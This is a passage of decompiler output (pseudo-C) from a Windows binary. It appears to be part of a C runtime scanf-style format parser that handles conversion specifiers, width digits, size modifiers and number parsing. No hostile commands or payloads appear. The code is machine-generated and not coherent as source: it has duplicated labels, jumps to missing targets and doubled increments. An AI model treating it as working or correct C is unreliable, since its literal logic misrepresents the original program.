													if(( *( *(_t1139 + 0xc)) & 0x000000ff) != 0x25) {
														L321:
														__eflags = ( *( *(_t1139 + 0xc)) & 0x000000ff) - 0x25;
														if(( *( *(_t1139 + 0xc)) & 0x000000ff) == 0x25) {
															_t869 =  *(_t1139 + 0xc);
															__eflags = ( *(_t869 + 1) & 0x000000ff) - 0x25;
															if(( *(_t869 + 1) & 0x000000ff) == 0x25) {
																_t1076 =  *(_t1139 + 0xc) + 1;
																__eflags = _t1076;
																 *(_t1139 + 0xc) = _t1076;
															}
														}
														 *(_t1139 - 0xc) =  *(_t1139 - 0xc) + 1;
														_t853 = E0041CF70( *(_t1139 + 8));
														_t1145 = _t1142 + 4;
														 *(_t1139 - 0x21c) = _t853;
														 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
														__eflags = ( *( *(_t1139 + 0xc)) & 0x000000ff) -  *(_t1139 - 0x21c);
														if(( *( *(_t1139 + 0xc)) & 0x000000ff) ==  *(_t1139 - 0x21c)) {
															L326:
															_t856 = E00425500( *(_t1139 - 0x21c) & 0x000000ff);
															_t1142 = _t1145 + 4;
															__eflags = _t856;
															if(_t856 == 0) {
																do {
																	L330:
																	__eflags =  *(_t1139 - 0x21c) - 0xffffffff;
																	if( *(_t1139 - 0x21c) != 0xffffffff) {
																		goto L334;
																	}
																	goto L331;
																} while (_t856 == 0);
															}
															L327:
															 *(_t1139 - 0xc) =  *(_t1139 - 0xc) + 1;
															_t858 = E0041CF70( *(_t1139 + 8));
															_t1142 = _t1142 + 4;
															 *((intOrPtr*)(_t1139 - 0x23c)) = _t858;
															 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
															__eflags = ( *( *(_t1139 + 0xc)) & 0x000000ff) -  *((intOrPtr*)(_t1139 - 0x23c));
															if(( *( *(_t1139 + 0xc)) & 0x000000ff) ==  *((intOrPtr*)(_t1139 - 0x23c))) {
																L329:
																_t987 =  *(_t1139 - 0xc) - 1;
																__eflags = _t987;
																 *(_t1139 - 0xc) = _t987;
																goto L330;
															}
															L328:
															 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
															E0041CFD0( *((intOrPtr*)(_t1139 - 0x23c)),  *(_t1139 + 8));
															 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
															_t1063 =  *(_t1139 + 8);
															E0041CFD0( *(_t1139 - 0x21c),  *(_t1139 + 8));
															_t1142 = _t1142 + 0x10;
														} else {
															L325:
															 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
															_t1063 =  *(_t1139 - 0x21c);
															E0041CFD0( *(_t1139 - 0x21c),  *(_t1139 + 8));
															_t1142 = _t1145 + 8;
														}
														goto L335;
													}
													L7:
													_t994 =  *(_t1139 + 0xc);
													__eflags = ( *(_t994 + 1) & 0x000000ff) - 0x25;
													if(( *(_t994 + 1) & 0x000000ff) == 0x25) {
														goto L321;
													} else {
														 *(_t1139 - 0x220) = 0;
														 *((char*)(_t1139 - 0x7d)) = 0;
														 *(_t1139 - 0x1f4) = 0;
														 *(_t1139 - 0x1f0) =  *(_t1139 - 0x1f4);
														 *(_t1139 - 0x78) =  *(_t1139 - 0x1f0);
														 *(_t1139 - 0x18) = 0;
														 *(_t1139 - 0x34) =  *(_t1139 - 0x18);
														 *(_t1139 - 0x40) = 0;
														 *(_t1139 - 3) = 0;
														 *((char*)(_t1139 - 2)) =  *(_t1139 - 3);
														 *((char*)(_t1139 - 0x12)) =  *((intOrPtr*)(_t1139 - 2));
														 *(_t1139 - 0x1e) =  *((intOrPtr*)(_t1139 - 0x12));
														 *(_t1139 - 0x29) =  *(_t1139 - 0x1e);
														 *(_t1139 - 0x215) = 0;
														 *((char*)(_t1139 - 0x1d)) = 1;
														 *(_t1139 - 0x30) = 0;
														while(1) {
															L9:
															__eflags =  *(_t1139 - 0x1e);
															if( *(_t1139 - 0x1e) != 0) {
																break;
															}
															L10:
															 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
															 *(_t1139 - 0x44) =  *( *(_t1139 + 0xc)) & 0x000000ff;
															_t899 = E004250C0( *(_t1139 - 0x44) & 0x000000ff);
															_t1142 = _t1142 + 4;
															__eflags = _t899;
															if(_t899 == 0) {
																L12:
																 *(_t1139 - 0x25c) =  *(_t1139 - 0x44);
																 *(_t1139 - 0x25c) =  *(_t1139 - 0x25c) - 0x2a;
																__eflags =  *(_t1139 - 0x25c) - 0x4d;
																if( *(_t1139 - 0x25c) > 0x4d) {
																	L39:
																	_t902 =  *(_t1139 - 0x1e) + 1;
																	__eflags = _t902;
																	 *(_t1139 - 0x1e) = _t902;
																	goto L40;
																}
																L13:
																_t63 =  *(_t1139 - 0x25c) + 0x41cd90; // 0x8eff8b06
																switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M0041CD70))) {
																	case 0:
																		L38:
																		 *((intOrPtr*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																		 *((char*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																		goto L40;
																	case 1:
																		L14:
																		goto L40;
																	case 2:
																		L16:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *(__eax + 1) & 0x000000ff;
																		__eflags = ( *(__eax + 1) & 0x000000ff) - 0x36;
																		if(( *(__eax + 1) & 0x000000ff) != 0x36) {
																			L19:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																			__eflags = __ecx - 0x33;
																			if(__ecx != 0x33) {
																				L22:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *(__edx + 1) & 0x000000ff;
																				__eflags = ( *(__edx + 1) & 0x000000ff) - 0x64;
																				if(( *(__edx + 1) & 0x000000ff) == 0x64) {
																					L27:
																					__eax = 0;
																					__eflags = 0;
																					if(0 != 0) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 0x30) = __ecx;
																						 *(__ebp - 0x200) = 0;
																						 *(__ebp - 0x1fc) = 0;
																					}
																					L29:
																					goto L40;
																				}
																				L23:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *(__ecx + 1) & 0x000000ff;
																				__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x69;
																				if(( *(__ecx + 1) & 0x000000ff) == 0x69) {
																					goto L27;
																				}
																				L24:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L27;
																				}
																				L25:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *(__edx + 1) & 0x000000ff;
																				__eflags = ( *(__edx + 1) & 0x000000ff) - 0x78;
																				if(( *(__edx + 1) & 0x000000ff) == 0x78) {
																					goto L27;
																				}
																				L26:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *(__ecx + 1) & 0x000000ff;
																				__eflags = ( *(__ecx + 1) & 0x000000ff) - 0x58;
																				if(( *(__ecx + 1) & 0x000000ff) != 0x58) {
																					__edx = 0;
																					__eflags = 0;
																					if(0 != 0) {
																						__eax =  *(__ebp - 0x30);
																						__eax =  *(__ebp - 0x30) + 1;
																						__eflags = __eax;
																						 *(__ebp - 0x30) = __eax;
																						 *(__ebp - 0x200) = 0;
																						 *(__ebp - 0x1fc) = 0;
																					}
																					goto L39;
																				}
																				goto L27;
																			}
																			L20:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *(__edx + 2) & 0x000000ff;
																			__eflags = ( *(__edx + 2) & 0x000000ff) - 0x32;
																			if(( *(__edx + 2) & 0x000000ff) != 0x32) {
																				goto L22;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				goto L40;
																			}
																		}
																		L17:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *(__edx + 2) & 0x000000ff;
																		__eflags = ( *(__edx + 2) & 0x000000ff) - 0x34;
																		if(( *(__edx + 2) & 0x000000ff) != 0x34) {
																			goto L19;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																			 *(__ebp - 0x200) = 0;
																			 *(__ebp - 0x1fc) = 0;
																			goto L40;
																		}
																	case 3:
																		L33:
																		__cl =  *(__ebp - 0x1d);
																		__cl =  *(__ebp - 0x1d) + 1;
																		 *(__ebp - 0x1d) = __cl;
																		goto L40;
																	case 4:
																		L15:
																		__cl =  *(__ebp - 0x1d);
																		__cl =  *(__ebp - 0x1d) - 1;
																		 *(__ebp - 0x1d) = __cl;
																		 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																		 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																		goto L40;
																	case 5:
																		L34:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *(__edx + 1) & 0x000000ff;
																		__eflags = ( *(__edx + 1) & 0x000000ff) - 0x6c;
																		if(( *(__edx + 1) & 0x000000ff) != 0x6c) {
																			__al =  *(__ebp - 0x1d);
																			__al =  *(__ebp - 0x1d) + 1;
																			__eflags = __al;
																			 *(__ebp - 0x1d) = __al;
																			goto L37;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 1;
																			 *(__ebp - 0x200) = 0;
																			 *(__ebp - 0x1fc) = 0;
																			goto L40;
																		}
																	case 6:
																		L37:
																		__cl =  *(__ebp - 0x215);
																		__cl =  *(__ebp - 0x215) + 1;
																		 *(__ebp - 0x215) = __cl;
																		goto L40;
																	case 7:
																		goto L39;
																}
															} else {
																 *(_t1139 - 0x1f0) =  *(_t1139 - 0x1f0) + 1;
																 *(_t1139 - 0x78) =  *(_t1139 - 0x44) + ( *(_t1139 - 0x78) +  *(_t1139 - 0x78) * 4) * 2 - 0x30;
																L40:
																continue;
															}
														}
														L41:
														__eflags =  *((char*)(_t1139 - 0x12));
														if( *((char*)(_t1139 - 0x12)) != 0) {
															 *(_t1139 - 0x7c) = 0;
														} else {
															 *((intOrPtr*)(_t1139 - 0x1c)) =  *((intOrPtr*)(_t1139 + 0x14));
															 *((intOrPtr*)(_t1139 + 0x14)) =  *((intOrPtr*)(_t1139 + 0x14)) + 4;
															 *(_t1139 - 0x7c) =  *( *((intOrPtr*)(_t1139 + 0x14)) - 4);
														}
														 *(_t1139 - 0x1e) = 0;
														__eflags =  *(_t1139 - 0x215);
														if( *(_t1139 - 0x215) != 0) {
															L49:
															_t1063 =  *( *(_t1139 + 0xc)) & 0x000000ff | 0x00000020;
															 *(_t1139 - 0x44) =  *( *(_t1139 + 0xc)) & 0x000000ff | 0x00000020;
															__eflags =  *(_t1139 - 0x44) - 0x6e;
															if( *(_t1139 - 0x44) == 0x6e) {
																L54:
																__eflags =  *(_t1139 - 0x44) - 0x6e;
																if( *(_t1139 - 0x44) == 0x6e) {
																	L57:
																	__eflags =  *(_t1139 - 0x1f0);
																	if( *(_t1139 - 0x1f0) == 0) {
																		L59:
																		__eflags =  *((char*)(_t1139 - 0x12));
																		if( *((char*)(_t1139 - 0x12)) != 0) {
																			L68:
																			 *(_t1139 - 0x260) =  *(_t1139 - 0x44);
																			 *(_t1139 - 0x260) =  *(_t1139 - 0x260) - 0x63;
																			__eflags =  *(_t1139 - 0x260) - 0x18;
																			if( *(_t1139 - 0x260) > 0x18) {
																				L313:
																				__eflags = ( *( *(_t1139 + 0xc)) & 0x000000ff) -  *(_t1139 - 0x21c);
																				if(( *( *(_t1139 + 0xc)) & 0x000000ff) ==  *(_t1139 - 0x21c)) {
																					L315:
																					_t1082 =  *(_t1139 - 0x1e9) - 1;
																					__eflags = _t1082;
																					 *(_t1139 - 0x1e9) = _t1082;
																					__eflags =  *((char*)(_t1139 - 0x12));
																					if( *((char*)(_t1139 - 0x12)) == 0) {
																						 *((intOrPtr*)(_t1139 + 0x14)) =  *((intOrPtr*)(_t1139 - 0x1c));
																					}
																					while(1) {
																						L318:
																						 *(_t1139 - 0x1e9) =  *(_t1139 - 0x1e9) + 1;
																						 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
																						goto L330;
																					}
																				}
																				L314:
																				_t1063 =  *(_t1139 - 0xc) - 1;
																				 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
																				E0041CFD0( *(_t1139 - 0x21c),  *(_t1139 + 8));
																				_t1142 = _t1142 + 8;
																				 *(_t1139 - 0x24) = 1;
																				goto L335;
																			}
																			L69:
																			_t185 =  *(_t1139 - 0x260) + 0x41ce08; // 0xcccccc08
																			switch( *((intOrPtr*)(( *_t185 & 0x000000ff) * 4 +  &M0041CDE0))) {
																				case 0:
																					goto L0;
																				case 1:
																					L191:
																					__eflags =  *(__ebp - 0x21c) - 0x2d;
																					if( *(__ebp - 0x21c) != 0x2d) {
																						L193:
																						__eflags =  *(__ebp - 0x21c) - 0x2b;
																						if( *(__ebp - 0x21c) != 0x2b) {
																							goto L198;
																						}
																						L194:
																						__ecx =  *(__ebp - 0x78);
																						__ecx =  *(__ebp - 0x78) - 1;
																						__eflags = __ecx;
																						 *(__ebp - 0x78) = __ecx;
																						if(__ecx != 0) {
																							L197:
																							__eax =  *(__ebp - 0xc);
																							__eax =  *(__ebp - 0xc) + 1;
																							__eflags = __eax;
																							 *(__ebp - 0xc) = __eax;
																							__ecx =  *(__ebp + 8);
																							 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																							goto L198;
																						}
																						L195:
																						__eflags =  *(__ebp - 0x1f0);
																						if( *(__ebp - 0x1f0) == 0) {
																							goto L197;
																						}
																						L196:
																						 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																						 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																						goto L198;
																					}
																					L192:
																					__al =  *(__ebp - 2);
																					__al =  *(__ebp - 2) + 1;
																					 *(__ebp - 2) = __al;
																					goto L194;
																				case 2:
																					L268:
																					 *(__ebp - 0x10) = 0;
																					__eflags =  *(__ebp - 0x21c) - 0x2d;
																					if( *(__ebp - 0x21c) != 0x2d) {
																						L270:
																						__eflags =  *(__ebp - 0x21c) - 0x2b;
																						if( *(__ebp - 0x21c) != 0x2b) {
																							L272:
																							__eflags =  *(__ebp - 0x1f0);
																							if( *(__ebp - 0x1f0) == 0) {
																								 *(__ebp - 0x78) = 0xffffffff;
																							}
																							while(1) {
																								L274:
																								__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																								__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																								__eflags = __eax;
																								if(__eax == 0) {
																									break;
																								}
																								L275:
																								__edx =  *(__ebp - 0x78);
																								 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																								 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																								__eflags =  *(__ebp - 0x78);
																								if( *(__ebp - 0x78) == 0) {
																									break;
																								}
																								L276:
																								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																								 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																								__al =  *(__ebp - 0x21c);
																								 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __al;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																								__edx = __ebp - 0x28;
																								__eax = __ebp - 0x1e8;
																								__ecx = __ebp - 0x84;
																								__edx = __ebp - 0x204;
																								__eax =  *(__ebp - 0x10);
																								__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																								__eflags = __eax;
																								if(__eax != 0) {
																									L278:
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																									__edx =  *(__ebp + 8);
																									 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																									continue;
																								}
																								L277:
																								goto L335;
																							}
																							L279:
																							__eax = __ebp - 0x214;
																							__eax = E0041B2E0(__ebp - 0x214);
																							__ecx =  *__eax;
																							__dl =  *( *__eax);
																							 *((char*)(__ebp - 1)) =  *( *__eax);
																							__eax =  *((char*)(__ebp - 1));
																							__ecx =  *(__ebp - 0x21c);
																							__eflags =  *((char*)(__ebp - 1)) -  *(__ebp - 0x21c);
																							if( *((char*)(__ebp - 1)) !=  *(__ebp - 0x21c)) {
																								L288:
																								__eflags =  *(__ebp - 0x1f4);
																								if( *(__ebp - 0x1f4) == 0) {
																									L307:
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																									__eax =  *(__ebp + 8);
																									__ecx =  *(__ebp - 0x21c);
																									__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																									__eflags =  *(__ebp - 0x1f4);
																									if( *(__ebp - 0x1f4) == 0) {
																										L311:
																										goto L335;
																									}
																									L308:
																									__edx =  *((char*)(__ebp - 0x12));
																									__eflags =  *((char*)(__ebp - 0x12));
																									if( *((char*)(__ebp - 0x12)) == 0) {
																										 *(__ebp - 8) =  *(__ebp - 8) + 1;
																										 *(__ebp - 8) =  *(__ebp - 8) + 1;
																										 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																										 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0;
																										__ecx = __ebp - 0x214;
																										_push(E0041B2D0(__ebp - 0x214));
																										__edx =  *(__ebp - 0x84);
																										_push( *(__ebp - 0x84));
																										__eax =  *(__ebp - 0x7c);
																										_push(__eax);
																										__ecx =  *(__ebp - 0x1d);
																										__ecx =  *(__ebp - 0x1d) - 1;
																										__eflags = __ecx;
																										_push(__ecx);
																										__edx =  *0x43e47c; // 0x46f0f098
																										_push(__edx);
																										__imp__DecodePointer();
																										__eax =  *__eax();
																										__esp = __esp + 0x10;
																									}
																									L318:
																									 *(_t1139 - 0x1e9) =  *(_t1139 - 0x1e9) + 1;
																									 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
																									goto L330;
																								}
																								L289:
																								__eflags =  *(__ebp - 0x21c) - 0x65;
																								if( *(__ebp - 0x21c) == 0x65) {
																									L291:
																									__ecx =  *(__ebp - 0x78);
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									__eflags =  *(__ebp - 0x78);
																									if( *(__ebp - 0x78) == 0) {
																										goto L307;
																									}
																									L292:
																									 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																									 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x65;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									__edx = __ebp - 0x28;
																									__eax = __ebp - 0x1e8;
																									__ecx = __ebp - 0x84;
																									__edx = __ebp - 0x204;
																									__eax =  *(__ebp - 0x10);
																									__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																									__eflags = __eax;
																									if(__eax != 0) {
																										L294:
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																										__edx =  *(__ebp + 8);
																										 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																										__eflags =  *(__ebp - 0x21c) - 0x2d;
																										if( *(__ebp - 0x21c) != 0x2d) {
																											L298:
																											__eflags =  *(__ebp - 0x21c) - 0x2b;
																											if( *(__ebp - 0x21c) != 0x2b) {
																												while(1) {
																													L302:
																													__eax =  *(__ebp - 0x21c) & 0x000000ff;
																													__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																													__eflags = __eax;
																													if(__eax == 0) {
																														goto L307;
																													}
																													L303:
																													__ecx =  *(__ebp - 0x78);
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																													__eflags =  *(__ebp - 0x78);
																													if( *(__ebp - 0x78) == 0) {
																														goto L307;
																													}
																													L304:
																													 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																													 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																													 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																													__dl =  *(__ebp - 0x21c);
																													 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *(__ebp - 0x21c);
																													 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																													 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																													__ecx = __ebp - 0x28;
																													__edx = __ebp - 0x1e8;
																													__eax = __ebp - 0x84;
																													__ecx = __ebp - 0x204;
																													__edx =  *(__ebp - 0x10);
																													__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ecx, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																													__eflags = __eax;
																													if(__eax != 0) {
																														L306:
																														 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																														 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																														__ecx =  *(__ebp + 8);
																														 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																														continue;
																													}
																													L305:
																													goto L335;
																												}
																												goto L307;
																											}
																											L299:
																											__ecx =  *(__ebp - 0x78);
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											__eflags =  *(__ebp - 0x78);
																											if( *(__ebp - 0x78) != 0) {
																												__ecx =  *(__ebp - 0xc);
																												__ecx =  *(__ebp - 0xc) + 1;
																												__eflags = __ecx;
																												 *(__ebp - 0xc) = __ecx;
																												__edx =  *(__ebp + 8);
																												 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																											} else {
																												 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																												 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																											}
																											goto L302;
																										}
																										L295:
																										 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																										 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										__edx = __ebp - 0x28;
																										__eax = __ebp - 0x1e8;
																										__ecx = __ebp - 0x84;
																										__edx = __ebp - 0x204;
																										__eax =  *(__ebp - 0x10);
																										__eax = E0041CE30(__ecx,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																										__eflags = __eax;
																										if(__eax != 0) {
																											L297:
																											goto L299;
																										}
																										L296:
																										goto L335;
																									}
																									L293:
																									goto L335;
																								}
																								L290:
																								__eflags =  *(__ebp - 0x21c) - 0x45;
																								if( *(__ebp - 0x21c) != 0x45) {
																									goto L307;
																								}
																								goto L291;
																							}
																							L280:
																							__edx =  *(__ebp - 0x78);
																							 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																							 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																							__eflags =  *(__ebp - 0x78);
																							if( *(__ebp - 0x78) == 0) {
																								goto L288;
																							}
																							L281:
																							 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																							 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																							__edx =  *(__ebp + 8);
																							 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																							 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																							__cl =  *((intOrPtr*)(__ebp - 1));
																							 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __cl;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																							__eax = __ebp - 0x28;
																							__ecx = __ebp - 0x1e8;
																							__edx = __ebp - 0x84;
																							__eax = __ebp - 0x204;
																							__ecx =  *(__ebp - 0x10);
																							__eax = E0041CE30(__ecx, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																							__eflags = __eax;
																							if(__eax != 0) {
																								while(1) {
																									L283:
																									__edx =  *(__ebp - 0x21c) & 0x000000ff;
																									__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																									__eflags = __eax;
																									if(__eax == 0) {
																										goto L288;
																									}
																									L284:
																									__eax =  *(__ebp - 0x78);
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									__eflags =  *(__ebp - 0x78);
																									if( *(__ebp - 0x78) == 0) {
																										goto L288;
																									}
																									L285:
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																									__cl =  *(__ebp - 0x21c);
																									 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __cl;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									__eax = __ebp - 0x28;
																									__ecx = __ebp - 0x1e8;
																									__edx = __ebp - 0x84;
																									__eax = __ebp - 0x204;
																									__ecx =  *(__ebp - 0x10);
																									__eax = E0041CE30(__ecx, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																									__eflags = __eax;
																									if(__eax != 0) {
																										L287:
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																										__eax =  *(__ebp + 8);
																										 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																										continue;
																									}
																									L286:
																									goto L335;
																								}
																								goto L288;
																							}
																							L282:
																							goto L335;
																						}
																						L271:
																						 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																						 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																						__edx =  *(__ebp - 0xc);
																						__edx =  *(__ebp - 0xc) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0xc) = __edx;
																						__eax =  *(__ebp + 8);
																						 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																						goto L272;
																					}
																					L269:
																					 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																					 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																					goto L271;
																				case 3:
																					L168:
																					 *((intOrPtr*)(__ebp - 0x44)) = 0x64;
																					goto L169;
																				case 4:
																					L265:
																					__eax =  *(__ebp - 0xc);
																					 *(__ebp - 0x220) =  *(__ebp - 0xc);
																					__ecx =  *((char*)(__ebp - 0x12));
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						L267:
																						while(1) {
																							L318:
																							 *(_t1139 - 0x1e9) =  *(_t1139 - 0x1e9) + 1;
																							 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
																							goto L330;
																						}
																					}
																					L266:
																					goto L257;
																				case 5:
																					L190:
																					 *(__ebp - 0x1d) = 1;
																					goto L191;
																				case 6:
																					L74:
																					__edx =  *(__ebp - 0x215);
																					__eflags =  *(__ebp - 0x215);
																					if( *(__ebp - 0x215) > 0) {
																						__al =  *(__ebp - 0x29);
																						__al =  *(__ebp - 0x29) + 1;
																						__eflags = __al;
																						 *(__ebp - 0x29) = __al;
																					}
																					L76:
																					L103:
																					 *(_t1139 - 0x48) =  *(_t1139 - 0x7c);
																					_t967 =  *(_t1139 - 0xc) - 1;
																					 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
																					E0041CFD0( *(_t1139 - 0x21c),  *(_t1139 + 8));
																					_t1142 = _t1141 + 8;
																					__eflags =  *(_t1139 - 0x44) - 0x63;
																					if( *(_t1139 - 0x44) != 0x63) {
																						_t967 =  *(_t1139 - 0x18) - 1;
																						__eflags = _t967;
																						 *(_t1139 - 0x18) = _t967;
																					}
																					goto L105;
																				case 7:
																					L169:
																					__eflags =  *(__ebp - 0x21c) - 0x2d;
																					if( *(__ebp - 0x21c) != 0x2d) {
																						L171:
																						__eflags =  *(__ebp - 0x21c) - 0x2b;
																						if( *(__ebp - 0x21c) != 0x2b) {
																							L176:
																							__eflags =  *(__ebp - 0x21c) - 0x30;
																							if( *(__ebp - 0x21c) != 0x30) {
																								L189:
																								L198:
																								__eflags =  *(__ebp - 0x30);
																								if( *(__ebp - 0x30) == 0) {
																									while(1) {
																										L226:
																										__eax =  *(__ebp - 0x1e);
																										__eflags =  *(__ebp - 0x1e);
																										if( *(__ebp - 0x1e) != 0) {
																											break;
																										}
																										L227:
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																										if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
